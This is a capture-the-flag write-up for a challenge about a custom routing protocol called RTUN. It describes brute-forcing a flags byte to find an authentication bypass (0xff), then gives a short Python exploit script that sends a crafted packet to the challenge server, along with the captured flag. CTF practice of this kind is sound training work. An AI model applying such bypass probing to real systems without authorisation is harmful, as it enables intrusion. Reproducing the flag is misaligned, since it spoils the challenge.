Category: Miscellaneous
Flag: apoorvctf{tun3l_v1s10n_byp4ss}
Challenge Description
In 2031, NeoCorp’s internal routing network was the most secure in the world — or so they claimed.
You’ve infiltrated their network as an unprivileged contractor node. Somewhere deep inside their proprietary routing mesh sits Node 3 — an isolated server holding classified data their security team thought was unreachable.
Their custom routing protocol, RTUN, was designed in-house. The spec was never made public. The source code was never audited. And the engineer who wrote it left the company in a hurry.
You have one entry point: Node 1. You have one tool: a raw TCP socket. You have one question:
What did that engineer leave behind?
nc chals3.apoorvctf.xyz 3001
The router is listening. It will talk to anyone. But it won’t give up its secrets easily.
Analysis
The first thing that mattered was understanding what file we got and what protocol details were actually present. The attached file was a normal Word document, so the fastest way to parse it was by reading the OOXML body (word/document.xml) and extracting key lines.
file ~/Downloads/rtun_protocol_reference.docx~/Downloads/rtun_protocol_reference.docx: Microsoft Word 2007+import zipfile
import xml.etree.ElementTree as ET
docx = "rtun_protocol_reference.docx"
ns = {"w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"}
with zipfile.ZipFile(docx, "r") as z:
root = ET.fromstring(z.read("word/document.xml"))
for p in root.findall('.//w:p', ns):
line = "".join(t.text for t in p.findall('.//w:t', ns) if t.text)
if any(k in line for k in ["TUNNEL_ID", "INNER_PROTO", "CRC32", "SECTION MISSING"]):
print(line)Routing is done by assigning each packet a TUNNEL_ID corresponding to a node.
TUNNEL_ID | 4 bytes | Big-endian node tunnel identifier
INNER_PROTO | 1 byte | Encapsulated protocol selector
CRC32 | 4 bytes | Checksum of all previous packet bytes (standard zlib CRC32)
[ SECTION MISSING — TUNNEL_ID VALUES ]
[ SECTION MISSING — INNER_PROTO VALUES AND PAYLOAD FORMATS ]That “SECTION MISSING” marker was the whole challenge: the packet framing was known, but the values that matter for routing/auth were intentionally removed. After implementing valid RTUN packet construction (big-endian fields + zlib CRC32), Node1 accepted packets and gave parser errors that let me map behavior: proto IDs 0x01..0x04 were real, tunnels 1..3 were real, and Node2/Node3 were auth-gated.
The annoying part was that nearly every obvious thing failed for a while: version tweaks, reserved-bit cleanliness, payload variations, and lots of command words all led to the same auth wall. That was a pure troll phase.

The breakthrough came from brute-checking all 256 flag-byte values specifically against Node2 HELLO. Exactly one value worked: FLAGS=0xff. Every other value returned ERR_AUTH: session token mismatch. With 0xff, Node2 replied OK hello Node2, no message provided, which confirmed a built-in backdoor/auth bypass in flag handling.
Using that same FLAGS=0xff against Node3 moved us past the previous gate and gave a very specific parser hint: FLAG_REQ requires payload GIVE_FLAG. Sending exactly GIVE_FLAG as payload to Node3 with INNER_PROTO=0x03 returned the flag.
That last move was satisfyingly clean after the earlier rabbit holes.

Solution
# rtun_bypass_exploit.py
import socket
import struct
import zlib
HOST = "40.81.252.234"
PORT = 3001
def packet(flags, tunnel_id, inner_proto, payload=b"", version=1):
body = struct.pack(">BBIBH", version, flags, tunnel_id, inner_proto, len(payload)) + payload
crc = zlib.crc32(body) & 0xFFFFFFFF
return body + struct.pack(">I", crc)
with socket.create_connection((HOST, PORT), timeout=3) as s:
s.sendall(packet(0xFF, 3, 0x03, b"GIVE_FLAG"))
print(s.recv(4096).decode("latin1", errors="replace"))python rtun_bypass_exploit.pyRTUN/1.0 OK FLAG=apoorvctf{tun3l_v1s10n_byp4ss}